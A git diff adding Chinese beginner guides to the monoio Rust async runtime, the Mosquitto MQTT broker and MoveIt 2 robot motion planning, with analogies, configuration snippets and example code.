+传统做法（Tokio 的模型）是所有服务员共用一个对讲机系统——任何服务员接到订单都要通过对讲机呼叫厨房，厨房做好后再通过对讲机通知"哪张桌子的菜好了"。服务员之间还要不断协调："我这桌忙完了，去帮那桌收一下盘子"。这套机制叫 **work-stealing（工作窃取）**，灵活但 overhead 很大。
+
+monoio 的做法更简单粗暴：每张桌子只有一名服务员，他负责到底。客人来了是他接待，点餐是他记录，厨房出菜了他直接端上去。服务员不需要跟别人商量（没有跨线程调度），他手里的订单永远不会跑到别的桌子上去。这就是 **thread-per-core（每核一线程）** 模型。
+
+monoio 的核心创新在于：它不只用传统的 epoll 叫菜，而是用了 Linux 5.6+ 引入的 **io_uring** ——一个能让程序以零拷贝、异步方式跟磁盘和网络打交道的新接口。epoll 像是服务员去厨房门口排队问"菜好了没"；io_uring 像是给厨房装了个铃铛，菜好了铃铛自己响。
+
+## 二、核心概念
+
+### 1. Thread-per-Core（每核一线程）
+
+这是 monoio 最核心的设计理念。每个 CPU 核心绑定一个运行时线程，该线程上的所有任务永远在这条线程上执行，不会跑到其他线程去。带来的好处：
+
+- **不需要 Send + Sync**：Tokio 的 Task 必须实现 `Send`（因为可能被换到别的线程），monoio 不需要，这意味着可以直接使用线程局部存储（TLS），性能更高
+- **缓存友好**：数据不会被搬运，CPU 缓存命中率更高
+- **无锁通信**：线程间通信可以用无锁队列，减少锁竞争
+
+代价是：如果某张桌子特别闲而另一张桌子排长队，闲的那张桌子没法帮忙。这就是为什么 monoio 说自己是"在特定场景下追求极致性能"，而不是通用方案。
+
+### 2. io_uring / epoll / kqueue 三驱动
+
+monoio 根据平台和内核版本自动选择 IO 驱动：
+
+- **Linux 5.6+**：优先使用 `io_uring`，退化为 `epoll`
+- **macOS**：使用 `kqueue`
+- **Windows**：实验性支持中
+
+io_uring 是 Linux 5.1 引入、5.6 成熟的异步 IO 接口。它的工作方式是：用户态和内核态各维护一个环形缓冲区（ring buffer），用户把 IO 请求往 ring 里塞，内核处理完把结果放回 ring，用户态再来取。整个过程只需要两次系统调用（提交 + 获取），而 epoll 至少需要三次。
+
+### 3. 无拷贝 IO 抽象
+
+monoio 重新设计了 IO API，目标是尽量减少数据拷贝。传统的 async IO 往往是"读到 buffer A，再写到 buffer B"，monoio 通过所有权转移的方式让数据直接流过各个阶段，减少不必要的内存复制。
+
+## 三、代码示例
+
+### 示例 1：最简单的 Echo 服务器
+
+这是 monoio 官方文档里的入门示例，实现了一个 TCP echo 服务——客户端发来什么，服务器就原样回什么。
+
+```rust
+use monoio::io::{AsyncReadRent, AsyncWriteRentExt};
+use monoio::net::{TcpListener, TcpStream};
+
+#[monoio::main]
+async fn main() {
+    // 在 127.0.0.1:50002 上监听连接
+    let listener = TcpListener::bind("127.0.0.1:50002").unwrap();
+    println!("server listening on 50002");
+
+    // 无限循环接受新连接
+    loop {
+        let incoming = listener.accept().await;
+        match incoming {
+            Ok((stream, addr)) => {
+                println!("new connection from {}", addr);
+                // 为每个连接 spawn 一个协程处理
+                monoio::spawn(echo(stream));
+            }
+            Err(e) => {
+                eprintln!("accept failed: {}", e);
+                return;
+            }
+        }
+    }
+}
+
+// 处理单个连接的 echo 逻辑
+async fn echo(mut stream: TcpStream) -> std::io::Result<()> {
+    let mut buf: Vec<u8> = Vec::with_capacity(8 * 1024);
+    loop {
+        // 读取数据 —— 注意返回值是 (Result<usize>, Vec<u8>)
+        // buf 所有权被转移到 read，读完又传回来
+        let (res, buf) = stream.read(buf).await;
+        let n = res?;
+        if n == 0 {
+            // 客户端关闭了连接
+            return Ok(());
+        }
+
+        // 把读到的数据原样写回去
+        let (res, buf) = stream.write_all(buf).await;
+        res?;
+
+        // 清空缓冲区准备下一次读取
+        buf.clear();
+    }
+}
+```
+
+运行后，在另一个终端执行 `nc 127.0.0.1 50002` 就能测试。
+
+关键观察：`stream.read(buf)` 的签名很特别——它接收 `buf` 的所有权并返回 `(Result, buf)`。这跟 Tokio 的 `buf: &mut [u8]`（借用）完全不同。monoio 用所有权转移实现了零拷贝，读出来的数据直接喂给 `write_all`，中间不经过额外的 buffer。
+
+### 示例 2：带超时的 HTTP 风格请求
+
+```rust
+use monoio::net::TcpStream;
+use monoio::time::{timeout, Duration};
+
+#[monoio::main]
+async fn main() {
+    // 给整个操作设置 5 秒超时
+    let result = timeout(Duration::from_secs(5), fetch_data()).await;
+
+    match result {
+        Ok(Ok(data)) => println!("got {} bytes", data.len()),
+        Ok(Err(e)) => eprintln!("request failed: {}", e),
+        Err(_) => eprintln!("request timed out after 5 seconds"),
+    }
+}
+
+async fn fetch_data() -> std::io::Result<Vec<u8>> {
+    let mut stream = TcpStream::connect("httpbin.org:80").await?;
+
+    // 构造一个简单的 HTTP GET 请求
+    let request = b"GET /get HTTP/1.1\r\nHost: httpbin.org\r\n\r\n";
+    stream.write_all(request.to_vec()).await?.0;
+
+    // 读取响应
+    let mut buf = vec![0u8; 4096];
+    let (res, buf) = stream.read(buf).await;
+    let n = res?;
+
+    Ok(buf[..n].to_vec())
+}
+```
+
+这里展示了 monoio 的定时器能力——`timeout` 函数可以给任何 async 操作加超时保护。底层由 io_uring 的定时器机制驱动，精度比传统的 epoll 定时更高。
+
+## 四、monoio vs Tokio vs Glommio
+
+| 维度 | Tokio | Glommio | monoio |
+|------|-------|---------|--------|
+| 调度模型 | Work-stealing | Thread-per-core | Thread-per-core |
+| IO 驱动 | epoll/io_uring(kqueue) | liburing | io_uring/epoll/kqueue |
+| Send + Sync 要求 | 必须 | 不需要 | 不需要 |
+| 通用性 | 极高，生态丰富 | 中等 | 较低，偏服务器场景 |
+| 单核性能 | 好 | 好 | 好 |
+| 多核扩展性 | 随核数增加单核性能下降 | 线性扩展 | 线性扩展最佳 |
+| 16 核峰值 | 基线 | ~2x | ~3x |
+
+Tokio 像是一个万能选手，什么场景都能用，生态极其丰富。Glommio 和 monoio 则是专项选手，在 thread-per-core 场景下追求极致性能。根据字节跳动的基准测试，16 核环境下 monoio 的峰值性能约为 Tokio 的 3 倍。
+
+## 五、使用门槛
+
+1. **Rust 工具链**：需要 nightly（1.75+），因为用了一些 unstable features 如 GAT
+2. **Linux 内核**：5.6+ 才能用 io_uring，低版本退化为 epoll
+3. **memlock 配置**：io_uring 需要足够的内存锁定配额，需要手动调整
+4. **适用场景**：最适合 IO 密集型的网络服务（如代理、网关、负载均衡），不适合计算密集型或负载极度不均的场景
+
+## 六、生态与展望
+
+monoio 周边项目包括：
+- **local-sync**：线程内 channel 实现，用于 thread-per-core 间的无锁通信
+- **monoio-tls**：TLS 加密支持
+- **monoio-codec**：编解码工具
+
+HTTP 框架和 RPC 框架也在开发中。整体来看，monoio 是字节跳动在高性能网络服务领域的重要基础设施探索，代表了 Rust 异步运行时中"为特定场景极致优化"这一路线的最新成果。
diff --git a/src/content/docs/projects/mosquitto.md b/src/content/docs/projects/mosquitto.md
new file mode 100644
index 000000000..f74288128
--- /dev/null
+++ b/src/content/docs/projects/mosquitto.md
@@ -0,0 +1,281 @@
+---
+title: Eclipse Mosquitto — 轻量级 MQTT 消息代理，物联网的「社区广播站」
+来源: 'https://github.com/eclipse-mosquitto/mosquitto'
+日期: '2026-06-13'
+子分类: 嵌入式
+分类: 操作系统
+难度: '初级'
+provenance: 'pipeline-v3'
+---
+
+## 是什么
+
+**Eclipse Mosquitto** 是 [eclipse-mosquitto/mosquitto](https://github.com/eclipse-mosquitto/mosquitto) 维护的开源 **MQTT 消息代理（broker）**。它实现了 MQTT 协议 5.0、3.1.1 和 3.1，负责接收客户端发布的消息、按主题（topic）路由、并按 QoS 等级投递给订阅者。同一项目还提供 C 语言客户端库 **libmosquitto**，以及命令行工具 `mosquitto_pub`、`mosquitto_sub`、`mosquitto_passwd` 等。
+
+日常类比：**小区里的社区广播站**。
+
+传统 HTTP 像「一对一打电话」——你要找谁，就得知道对方的号码，对方不在线就失败。MQTT + Mosquitto 则像广播站：住户（设备/应用）不用彼此认识，只要订阅自己关心的频道（topic），广播站（broker）就会把消息推给所有订阅该频道的人。有人发「3 号楼电梯故障」（publish），订阅了 `building/3/elevator/#` 的物业 App、维修工手机、大屏看板（subscriber）会同时收到，发消息的人不必知道谁在听。
+
+Mosquitto 的定位是**轻、小、快**：从树莓派到 x86 服务器都能跑，RAM 占用通常在 MB 级，是智能家居、工业传感、车联网边缘网关里最常见的 MQTT broker 之一。公开测试实例见 [test.mosquitto.org](https://test.mosquitto.org/)；生产环境建议自建并配置认证与 TLS。
+
+与 [[rabbitmq-server]] 的对比：RabbitMQ 原生是 AMQP（队列 + 交换机），MQTT 只是插件之一；Mosquitto **专精 MQTT**，协议栈更薄、部署更轻，但功能面（复杂路由、多协议、管理 UI）不如 RabbitMQ 全家桶。和 [[nginx]] 也不同——Nginx 终止 HTTP 请求并反向代理；Mosquitto 处理的是**长连接、发布/订阅语义**的 MQTT 会话。
+
+## 解决什么问题
+
+物联网和边缘场景里，设备数量大、网络不稳定、带宽贵，HTTP 轮询（设备每隔 N 秒问一次「有新数据吗？」）既费电又浪费流量。MQTT 用**持久 TCP 连接 + 推送**解决这类问题，Mosquitto 则是把这套协议跑成可运维的服务：
+
+| 痛点 | 没有 broker 时 | Mosquitto 的回应 |
+| --- | --- | --- |
+| 设备互不认识 | 每台设备要知道对端 IP，拓扑一变就全改配置 | 全部连 broker，只关心 topic 名字 |
+| 弱网/断线 | TCP 直连丢消息无标准重试 | QoS 0/1/2 分级保证，会话可恢复 |
+| 新设备上线要历史状态 | HTTP 得额外查 API | Retained message 保留「最后已知值」 |
+| 资源受限 | 重量级消息中间件装不进 MCU 网关 | 单二进制、配置简单，适合嵌入式 Linux |
+| 安全暴露 | 裸奔端口被扫 | 密码文件、ACL、TLS、MQTT 5 动态安全插件 |
+
+核心要回答的问题：**如何用最小运维成本，让成百上千个客户端通过主题名松耦合地交换消息？**
+
+## 核心概念
+
+### 1. Broker / Client / Topic：三角关系
+
+```
+Publisher ──publish──►  Mosquitto Broker  ──deliver──► Subscriber(s)
+              topic: home/living/temp              subscribe: home/+/temp
+```
+
+- **Broker**：Mosquitto 进程本身，默认监听 `1883`（明文 MQTT）或 `8883`（TLS）。
+- **Client**：任何连上来的发布者或订阅者——可以是 `mosquitto_pub`、Python `paho-mqtt`、ESP32 固件、Node-RED 节点。
+- **Topic**：层级字符串，用 `/` 分隔，如 `sensor/kitchen/humidity`。Broker **不解析** topic 含义，只做字符串匹配路由。
+
+### 2. 发布/订阅（Pub/Sub）vs 队列
+
+MQTT **没有** RabbitMQ 意义上的「队列」概念（除非用共享订阅等扩展用法）。一条消息发布到 `factory/line1/speed` 后，**当前所有**匹配订阅都会收到一份拷贝；若当时没有订阅者，消息对该 topic 而言就「没人收」（除非设置了 retain 或持久会话 + QoS>0 的离线队列机制）。
+
+### 3. QoS（Quality of Service）：投递保证三档
+
+| QoS | 名称 | 行为 | 典型场景 |
+| --- | --- | --- | --- |
+| 0 | 最多一次 | 发了就忘，可能丢 | 高频 telemetry、可容忍丢失 |
+| 1 | 至少一次 | 有 ACK，可能重复 | 一般传感数据 |
+| 2 | 恰好一次 | 四次握手，最慢最安全 | 计费、关键指令 |
+
+注意：**实际投递 QoS = min(发布 QoS, 订阅 QoS)**。客户端订阅 QoS 0 时，即使对方用 QoS 2 发布，你收到的仍是 QoS 0。
+
+### 4. Topic 通配符：订阅时的模式匹配
+
+只在**订阅**侧使用（发布 topic 必须是字面量）：
+
+- `+`：匹配单层。`home/+/temp` 匹配 `home/kitchen/temp`，不匹配 `home/kitchen/dining/temp`。
+- `#`：匹配剩余所有层，**必须出现在末尾**。`home/#` 匹配 `home/a/b/c`。
+
+### 5. Retained Message：新订阅者的「快照」
+
+发布时带上 retain 标志，broker 会为该 topic **保留最后一条**消息。之后任何新订阅者连上并订阅该 topic，会**立即**收到这条 retained 消息，而不必等设备下次上报。适合「当前温度」「阀门开/关状态」这类低频更新但新人需要立刻知道的场景。
+
+### 6. Clean Session / 持久会话（MQTT 3.1.1）与 Session Expiry（MQTT 5）
+
+客户端断线后，broker 是否为其缓存 QoS 1/2 未确认消息、是否记住订阅，取决于会话标志。MQTT 5 用 Session Expiry Interval 细化了超时行为。Mosquitto 对两者均支持。
+
+### 7. 配置文件 `mosquitto.conf`：从「本机玩具」到「可上线」
+
+不带 `-c` 启动时，Mosquitto 2.x 默认只监听 **loopback** 的 1883，且允许本机匿名访问——适合第一次冒烟测试。要接受局域网或公网设备，必须显式配置 **listener** 和 **认证**：
+
+```conf
+# /etc/mosquitto/mosquitto.conf 片段
+
+listener 1883 0.0.0.0
+allow_anonymous false
+password_file /etc/mosquitto/passwd
+
+# 可选：按 topic 限制读写
+# acl_file /etc/mosquitto/acl
+
+# 持久化（重启后保留 retained 与部分状态）
+persistence true
+persistence_location /var/lib/mosquitto/
+```
+
+创建用户：
+
+```bash
+sudo mosquitto_passwd -c /etc/mosquitto/passwd sensor01
+# 按提示输入密码；-c 仅首次创建文件时使用，追加用户时去掉 -c
+```
+
+ACL 文件示例（每行：`topic [read|write|readwrite|deny] <pattern>`）：
+
+```conf
+user sensor01
+topic write factory/line1/#
+
+user dashboard
+topic read factory/#
+```
+
+### 8. 桥接（Bridge）：broker 之间同步 topic
+
+大型部署常把边缘 Mosquitto 与云端 Mosquitto 用 **bridge** 连接，按 topic 模式单向或双向转发。配置块以 `connection <name>` 开头，内部用 `address`、`topic` 等指令定义远端 broker 与映射规则——适合「工厂边缘采集 → 总部汇总」拓扑。
+
+### 9. 可观测性：`$SYS/` 主题
+
+Mosquitto 发布 broker 自身指标到 `$SYS/broker/...` 层次，例如 `$SYS/broker/clients/connected`、`$SYS/broker/messages/received`。订阅 `$SYS/#` 可接入监控（注意 `$SYS` 不匹配单独的 `#` 订阅，需显式写 `$SYS/#`）。
+
+## 快速上手
+
+### 安装
+
+| 平台 | 方式 |
+| --- | --- |
+| macOS | `brew install mosquitto` |
+| Debian/Ubuntu | `apt install mosquitto mosquitto-clients` 或 Mosquitto PPA |
+| Windows | 官网安装包 [mosquitto.org/download](https://mosquitto.org/download/) |
+| Docker | `docker run -it -p 1883:1883 eclipse-mosquitto:2` |
+
+安装后包管理器通常会注册 systemd 服务；开发机也可前台启动：
+
+```bash
+mosquitto -v
+# 另开终端：订阅
+mosquitto_sub -t 'test/topic' -v
+# 再开终端：发布
+mosquitto_pub -t 'test/topic' -m 'hello world'
+```
+
+`-v` 在 `sub` 端会打印 topic 名与 payload，便于确认路由是否正确。
+
+## 代码示例
+
+### 示例 1：命令行验证 QoS 与 retain
+
+终端 A——订阅 QoS 1，观察 retained 消息：
+
+```bash
+mosquitto_sub -h localhost -t 'demo/status' -q 1 -v
+```
+
+终端 B——发布 retained 状态（新订阅者会立刻看到 `online`）：
+
+```bash
+mosquitto_pub -h localhost -t 'demo/status' -m 'online' -q 1 -r
+```
+
+再发一条非 retain 的普通消息：
+
+```bash
+mosquitto_pub -h localhost -t 'demo/status' -m 'heartbeat-'$(date +%s) -q 1
+```
+
+你会看到：后连上的订阅者先收到 retained 的 `online`，再收到后续实时 heartbeat。`-r` 即 retain 标志；`-q 1` 指定 QoS 1。
+
+### 示例 2：Python 客户端（paho-mqtt）
+
+需要先安装：`pip install paho-mqtt`
+
+**subscriber.py**——订阅通配符并打印：
+
+```python
+import paho.mqtt.client as mqtt
+
+def on_connect(client, userdata, flags, reason_code, properties):
+    print("connected:", reason_code)
+    client.subscribe("home/+/temperature", qos=1)
+
+def on_message(client, userdata, msg):
+    print(f"{msg.topic} => {msg.payload.decode()}")
+
+client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2)
+client.on_connect = on_connect
+client.on_message = on_message
+
+client.connect("localhost", 1883, keepalive=60)
+client.loop_forever()
+```
+
+**publisher.py**——定时上报（另开终端运行）：
+
+```python
+import json
+import time
+import paho.mqtt.client as mqtt
+
+client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2)
+client.connect("localhost", 1883, keepalive=60)
+client.loop_start()
+
+rooms = ["kitchen", "bedroom", "balcony"]
+for room in rooms:
+    payload = json.dumps({"c": 22.5, "ts": int(time.time())})
+    topic = f"home/{room}/temperature"
+    client.publish(topic, payload, qos=1, retain=False)
+    print("published", topic)
+    time.sleep(0.5)
+
+client.loop_stop()
+client.disconnect()
+```
+
+若 broker 启用了 `allow_anonymous false`，需在 `connect` 前调用 `client.username_pw_set("sensor01", "your_password")`。
+
+### 示例 3：最小 TLS listener（生产方向）
+
+```conf
+listener 8883
+cafile /etc/mosquitto/certs/ca.crt
+certfile /etc/mosquitto/certs/server.crt
+keyfile /etc/mosquitto/certs/server.key
+require_certificate false
+```
+
+客户端连接时使用 `--cafile` 校验服务器证书。内网测试可用 `mosquitto-tls` 文档中的自签流程；公网务必用正规 CA 或私有 PKI。
+
+## 典型应用场景
+
+1. **智能家居**：Home Assistant、OpenHAB 默认集成 Mosquitto，灯、温湿度、开关统一走 MQTT topic。
+2. **工业网关**：边缘 Linux 盒子跑 Mosquitto，PLC/传感器 pub 到本地 topic，bridge 同步到云端时序库。
+3. **移动 App 推送链路**：后端 pub 到 `user/{id}/notify`，App 长连 sub，比 FCM 直连更可控（需自建保活与认证）。
+4. **车联网 telematics**：车辆终端 QoS 1 上报 GPS，服务端 sub `fleet/+/gps` 聚合。
+5. **开发与联调**：连 [test.mosquitto.org](https://test.mosquitto.org/) 公共 broker 快速验证协议，**勿传生产密钥**。
+
+## 踩过的坑
+
+1. **默认只监听 127.0.0.1**：Mosquitto 2.0 起安全默认值收紧，局域网设备连不上往往不是防火墙，而是没配 `listener 1883 0.0.0.0`。
+2. **匿名访问误开公网**：不带配置或 `allow_anonymous true` 暴露在公网，几小时内会被扫描滥用（转发垃圾 topic、当代理打内网）。公网必须密码 + ACL 或 TLS 客户端证书。
+3. **QoS 2 并非「业务恰好一次」**：QoS 2 只保证 **MQTT 传输层** 不重复，消费者业务仍要做幂等（自己写 DB unique key 等）。
+4. **retain 滥用**：对高频 telemetry 开 retain 会让新订阅者收到一条「过期的最后一帧」，误以为当前仍有效；retain 适合**状态类** topic，不适合**事件流**。
+5. **通配符订阅性能**：`#` 订阅整个树在大流量下 CPU 升高；按业务拆 topic 层级，监控用 `$SYS/#` 单独开只读账号。
+6. **MQTT 3.1.1 与 5.0 混部**：老固件连 3.1.1、新服务用 5.0 特性（如 topic alias）时要确认 broker 与库版本；Mosquitto 同时支持，但客户端能力不一致会导致「连上却订阅失败」。
+7. **配置文件改完不生效**：部分 listener 选项标注为 reload 时不生效，改 TLS 证书或 `max_qos` 后需 `systemctl restart mosquitto`，或用 `mosquitto --test-config -c /path/to/mosquitto.conf` 先校验语法（2.1+）。
+
+## 与其他组件怎么配合
+
+```
+[ESP32 / 传感器] ──MQTT──► [边缘 Mosquitto] ──bridge──► [云端 Mosquitto]
+                                │                              │
+                                ▼                              ▼
+                          [Node-RED 规则]              [Telegraf / 自研消费者]
+                                                              │
+                                                              ▼
+                                                      [InfluxDB / PostgreSQL]
+```
+
+- **Home Assistant**：Add-on 一键装 Mosquitto，实体 state 与 MQTT discovery 自动映射。
+- **Telegraf**：`inputs.mqtt_consumer` 订阅 topic 写入 [[influxdb]] 或 Prometheus remote write 前级。
+- **Kubernetes**：Helm chart 或 StatefulSet 跑 Mosquitto，前面挂 LoadBalancer；注意 sticky session 与 TLS 终止位置。
+- **与 RabbitMQ 并存**：MQTT 设备走 Mosquitto，后端 AMQP 微服务走 RabbitMQ，中间用 bridge 或应用层双写——别指望一个协议解决所有集成。
+
+## 学习路径建议
+
+1. **第 1 天**：本机 `mosquitto` + `pub/sub`，理解 topic、QoS 0/1、retain。
+2. **第 2 天**：写 `mosquitto.conf`，`mosquitto_passwd` + ACL，局域网手机 MQTT 客户端工具连上。
+3. **第 3 天**：用 Python 或 Go `paho` 客户端写「一 pub 多 sub」，观察 QoS 1 断线重连。
+4. **第 4 天**：配置 TLS listener，读 [mosquitto-tls(7)](https://mosquitto.org/man/mosquitto-tls-7.html)。
+5. **第 5 天**：试 bridge 或连 test.mosquitto.org，读 `$SYS` 指标，对照 [MQTT 介绍](https://mosquitto.org/documentation/) 与 man page `mqtt(7)`。
+
+## 参考资料
+
+- 源码与 Quick start：[github.com/eclipse-mosquitto/mosquitto](https://github.com/eclipse-mosquitto/mosquitto)
+- 官网与下载：[mosquitto.org](https://mosquitto.org/)
+- Broker 手册：[mosquitto(8)](https://mosquitto.org/man/mosquitto-8.html)
+- 配置参考：[mosquitto.conf(5)](https://mosquitto.org/man/mosquitto-conf-5.html)
+- MQTT 概念：[mqtt(7)](https://mosquitto.org/man/mqtt-7.html)
+- 认证方式概览：[Authentication methods](https://mosquitto.org/documentation/authentication-methods/)
diff --git a/src/content/docs/projects/moveit2.md b/src/content/docs/projects/moveit2.md
new file mode 100644
index 000000000..3dd1dab32
--- /dev/null
+++ b/src/content/docs/projects/moveit2.md
@@ -0,0 +1,357 @@
+---
+title: MoveIt 2 — 机械臂运动规划零基础入门
+来源: 'https://github.com/moveit/moveit2'
+日期: 2026-06-13
+子分类: 嵌入式
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 日常类比：餐厅里的「路线规划员 + 避障导航」
+
+想象你在一家开放式厨房餐厅里，要把一份菜从备餐台送到顾客桌上。你本人是 **机械臂**；厨房里的桌子、锅架、其他服务员是 **障碍物**；备餐台坐标是 **起点**，顾客桌面是 **终点**。
+
+如果只靠直觉「伸手过去」，很可能：
+
+- 手肘撞到悬挂的锅铲（**自碰撞**）；
+- 托盘擦过路过的同事（**环境碰撞**）；
+- 动作太快导致汤洒出来（**未做速度/加速度约束**）。
+
+这时你需要一位 **路线规划员（MoveIt 2）**：他手里有三样东西——
+
+1. **机器人说明书（URDF + SRDF）**：你的关节能转多少度、哪几根手指算「手臂」、哪些部位不能碰。
+2. **厨房实时地图（Planning Scene）**：今天多摆了一张桌子？地图立刻更新。
+3. **多种导航策略（Planning Pipeline / Planner 插件）**：走最短关节路径、走直线末端轨迹、还是工业级 PTP/ LIN——按任务换算法。
+
+MoveIt 2 就是 ROS 2 生态里这位「规划员 + 避障引擎」。官方仓库：[moveit/moveit2](https://github.com/moveit/moveit2)；教程与概念说明见 [MoveIt 2 Documentation](https://moveit.picknik.ai/main/index.html) 与 [moveit2_tutorials](https://github.com/moveit/moveit2_tutorials)。
+
+它和 [[ros2]] 的关系：MoveIt 2 不是替代 ROS 2，而是跑在 ROS 2 之上的 ** manipulation 框架**——用 Topic/Service/Action 暴露规划能力，用 RViz 插件可视化，用 colcon 工作空间编译安装。
+
+---
+
+## 解决什么问题
+
+机械臂应用里反复出现四类难题：
+
+| 痛点 | 没有 MoveIt 时 | MoveIt 2 的回应 |
+| --- | --- | --- |
+| 逆运动学 + 路径搜索 | 每个项目手写 IK、采样、碰撞检测 | 统一 **Planning Pipeline**，可插 OMPL、Pilz、CHOMP 等 |
+| 世界模型不一致 | 感知、规划、控制各用各的障碍物列表 | **Planning Scene** 作为单一世界表示 |
+| 配置碎片化 | URDF、关节限位、控制器 YAML 散落各处 | **MoveIt Setup Assistant** 生成 `*_moveit_config` 包 |
+| 接口复杂 | 直接调底层 planner API 门槛高 | **MoveGroupInterface**（C++）/ **moveit_py**（Python）封装常用操作 |
+
+MoveIt 2 要回答的核心问题是：**能否在 ROS 2 上，用同一套配置和 API，完成「设目标 → 规划无碰撞轨迹 → 执行 → 动态改环境」的完整 manipulation 闭环？**
+
+---
+
+## 核心概念
+
+### 1. 三层文件：URDF、SRDF、MoveIt Config
+
+```
+my_robot.urdf.xacro     # 连杆、关节、碰撞几何（物理模型）
+my_robot.srdf           # 规划组、禁用碰撞对、预设姿态（语义模型）
+my_robot_moveit_config/ # joint_limits.yaml, kinematics.yaml, ompl_planning.yaml …
+```
+
+- **URDF**：描述机器人长什么样、关节怎么连。
+- **SRDF（Semantic Robot Description Format）**：描述 MoveIt **怎么用** 这台机器人——例如 `panda_arm` 规划组包含哪 7 个关节、哪些相邻连杆可以忽略碰撞检查。
+- **MoveIt Config 包**：Setup Assistant 一键生成，launch 文件里会加载上述全部参数。
+
+### 2. Planning Group（规划组 / JointModelGroup）
+
+MoveIt 不一次控制整台机器人所有关节，而是按任务划分 **规划组**。文档里 `panda_arm`、`hand` 都是常见组名。代码里只需指定组名：
+
+```cpp
+static const std::string PLANNING_GROUP = "panda_arm";
+```
+
+术语 **planning group** 与 **joint model group** 在官方文档中互换使用。
+
+### 3. move_group 节点：集成入口
+
+`move_group`（包名 `moveit_ros_move_group`）是 MoveIt 2 的 **中心 ROS 节点**。它：
+
+- 从参数服务器读取 URDF、SRDF、规划器配置；
+- 通过 **Planning Scene Monitor** 维护当前世界状态；
+- 把运动规划、运动学、Pick/Place 等能力做成 **可插拔插件**，对外提供 Action/Service。
+
+大多数用户 **不直接改** move_group 插件，而是用 Setup Assistant 生成的 launch 启动它，再通过客户端接口调用。
+
+### 4. Planning Scene（规划场景）
+
+Planning Scene = **机器人当前状态** + **环境中的碰撞物体** + **附着在机器人上的物体**。
+
+- 加箱子、移桌子 → 更新场景后再规划，才能避障；
+- 抓取后物体附着到末端 → 场景里物体跟随机器人运动。
+
+Python 侧可通过 `PlanningSceneMonitor` 的 `read_write()` / `read_only()` 上下文安全读写场景。
+
+### 5. Planning Pipeline（规划流水线）
+
+一次 `plan()` 不是单函数调用，而是流水线：
+
+```
+MotionPlanRequest
+    → Planning Request Adapters（预处理：修复起始状态、加时间参数化…）
+    → Planner Plugin（OMPL / Pilz / CHOMP …）
+    → Planning Response Adapters（后处理）
+    → RobotTrajectory
+```
+
+可在 YAML 里配置多个 pipeline 名称，甚至 **并行规划** 再选最优轨迹（moveit_py 的 Multi Pipeline 特性）。
+
+### 6. 两类常用客户端 API
+
+| API | 语言 | 典型场景 |
+| --- | --- | --- |
+| `MoveGroupInterface` | C++ | 产线节点、低延迟控制 |
+| `moveit_py`（`MoveItPy` + `PlanningComponent`） | Python | 原型验证、Jupyter、教学 |
+
+两者都通过 ROS 2 与 move_group / moveit_cpp 通信，不必自己拼装 OMPL 采样器。
+
+### 7. 目标表示方式
+
+| 方式 | 含义 | 适用 |
+| --- | --- | --- |
+| Pose Goal | 末端执行器位姿（位置+姿态） | 抓取、对准 |
+| Joint Space Goal | 各关节角向量 | 已知关节配置、避奇异 |
+| Named State | SRDF 里预设的 `ready`、`extended` | 快速回 home |
+| Cartesian Path | 末端走直线/折线 | 插孔、涂胶 |
+| Constraints | 路径约束（如保持工具竖直） | 倒液体、焊接 |
+
+---
+
+## 安装与第一次运行
+
+以下以 ROS 2 **Jazzy/Humble** 二进制安装为例（源码编译见 [MoveIt Getting Started](https://moveit.picknik.ai/main/doc/tutorials/getting_started/getting_started.html)）：
+
+```bash
+# 安装 MoveIt 2 与教程包（发行版名按本机为准）
+sudo apt install ros-jazzy-moveit ros-jazzy-moveit-resources-panda-moveit-config ros-jazzy-moveit2-tutorials
+
+source /opt/ros/jazzy/setup.bash
+
+# 终端 1：启动 move_group + RViz（Franka Panda 演示）
+ros2 launch moveit2_tutorials move_group.launch.py
+
+# 终端 2：运行 C++ 交互教程
+ros2 launch moveit2_tutorials move_group_interface_tutorial.launch.py
+```
+
+RViz 里可看到：规划到 Pose、关节空间目标、笛卡尔路径、添加碰撞盒并重新规划、attach/detach 物体等步骤。Python API 教程：
+
+```bash
+ros2 launch moveit2_tutorials motion_planning_python_api_tutorial.launch.py
+```
+
+---
+
+## 代码示例 1：C++ MoveGroupInterface — Pose 与关节空间规划
+
+以下片段摘自官方 [Move Group C++ Interface](https://moveit.picknik.ai/main/doc/examples/move_group_interface/move_group_interface_tutorial.html) 教程核心逻辑，展示 **设目标 → plan →（可选）execute** 流程。
+
+```cpp
+#include <moveit/move_group_interface/move_group_interface.h>
+#include <moveit/planning_scene_interface/planning_scene_interface.h>
+
+int main(int argc, char** argv)
+{
+  rclcpp::init(argc, argv);
+  auto move_group_node = rclcpp::Node::make_shared("move_group_interface_tutorial");
+
+  static const std::string PLANNING_GROUP = "panda_arm";
+  moveit::planning_interface::MoveGroupInterface move_group(move_group_node, PLANNING_GROUP);
+  moveit::planning_interface::PlanningSceneInterface planning_scene_interface;
+
+  // --- 1. 规划到末端位姿目标 ---
+  geometry_msgs::msg::Pose target_pose;
+  target_pose.orientation.w = 1.0;
+  target_pose.position.x = 0.28;
+  target_pose.position.y = -0.2;
+  target_pose.position.z = 0.5;
+  move_group.setPoseTarget(target_pose);
+
+  moveit::planning_interface::MoveGroupInterface::Plan plan;
+  bool success = (move_group.plan(plan) == moveit::core::MoveItErrorCode::SUCCESS);
+  RCLCPP_INFO(rclcpp::get_logger("demo"), "Plan to pose: %s", success ? "OK" : "FAILED");
+
+  // --- 2. 改为关节空间目标 ---
+  moveit::core::RobotStatePtr current_state = move_group.getCurrentState(10);
+  const moveit::core::JointModelGroup* jmg =
+      current_state->getJointModelGroup(PLANNING_GROUP);
+
+  std::vector<double> joint_values;
+  current_state->copyJointGroupPositions(jmg, joint_values);
+  joint_values[0] = -1.0;  // 弧度，修改第一关节
+  move_group.setJointValueTarget(joint_values);
+
+  move_group.setMaxVelocityScalingFactor(0.05);
+  move_group.setMaxAccelerationScalingFactor(0.05);
+
+  success = (move_group.plan(plan) == moveit::core::MoveItErrorCode::SUCCESS);
+  RCLCPP_INFO(rclcpp::get_logger("demo"), "Plan to joint goal: %s", success ? "OK" : "FAILED");
+
+  // 真机执行时取消注释（需要 trajectory controller 已就绪）
+  // move_group.move();
+
+  rclcpp::shutdown();
+  return 0;
+}
+```
+
+要点：
+
+- `plan()` 只 **算轨迹**，默认不驱动真机；`move()` 会规划并执行（阻塞，依赖 controller）。
+- `setMaxVelocityScalingFactor` 把速度限制到关节上限的 5%，演示/调试时更安全。
